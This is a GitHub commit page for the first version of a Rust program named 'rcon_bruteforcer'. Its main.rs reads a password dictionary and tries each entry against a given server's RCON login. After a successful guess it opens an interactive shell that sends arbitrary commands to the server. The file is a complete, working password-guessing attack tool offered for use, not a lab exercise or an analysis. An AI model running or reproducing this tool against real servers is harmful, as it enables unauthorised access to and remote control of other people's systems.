Skip to content

Commit

Permalink
v0.1.0
Browse files Browse the repository at this point in the history
  • Loading branch information
1zun4 committed Dec 23, 2019
0 parents commit 85d8ba4
Show file tree
Hide file tree
Showing 4 changed files with 233 additions and 0 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
/target
**/*.rs.bk
141 changes: 141 additions & 0 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

9 changes: 9 additions & 0 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
[package]
name = "rcon_bruteforcer"
version = "0.1.0"
authors = ["Kawaii Neko Lolis <[email protected]>"]
edition = "2018"

[dependencies]
console = "0.9.1"
rcon = "0.1.0"
81 changes: 81 additions & 0 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
extern crate rcon;

use std::io::{stdin, BufReader, BufRead};
use rcon::Connection;
use std::process::exit;
use std::env;
use std::fs::File;
use console::style;

fn main() {
// Welcome message
println!("{} {} by {}", style("RCON").red().bold(), style("Bruteforcer").red(),
style("CCBlueX").blue().bold());

// User input via launch arguments
let args: Vec<String> = env::args().collect();

if args.len() <= 2 {
println!("./rcon-bruteforce [server] [dictionary]");
return;
}

// TODO: Check if addr is valid
let server = &args[1];

// TODO: Add pattern support
let dict = &args[2];

// Just to verify user input
println!("{}: {}", style("Server").magenta(), server);
println!("{}: {}", style("Dictionary").magenta(), dict);
println!(); // Empty line break

match File::open(dict) {
Ok(file) => {
let reader = BufReader::new(file);

// TODO: Add multi threading support
for line in reader.lines() {
connect(server, line.unwrap().as_str())
}
}
Err(e) => println!("{}", e)
}
}

fn connect(addr: &str, password: &str) {
// Connect to server and try password
match Connection::connect(addr, password) {
Ok(conn) => {
// Connection established with correct password
println!("{}\n", style(format!("Connection established to {} using '{}' as password!",
addr, password)).green().bold());

handle_session(conn)
},
// Connection failed or password wrong (Auth!)
Err(e) => println!("{}", style(format!("Connection failed to {} using '{}' because of {:?} error!",
addr, password, e)).red()) // Used {:?} for their names. As example "Auth" instead of "authentication failed"
}
}

fn handle_session(mut connection: Connection) {
let line = &mut String::new();

loop {
// Read line from stdin to buffer
match stdin().read_line(line) {
Ok(_) => {
// Exec command
match connection.cmd(line) {
Ok(response) => println!("{}", response), // Successfully executed command

// TODO: Fix library (IO error: Could not read enough bytes)
Err(e) => println!("{}", e) // Something went wrong while sending command to server
}
}
Err(_) => exit(1)
}
}
}

0 comments on commit 85d8ba4

Please sign in to comment.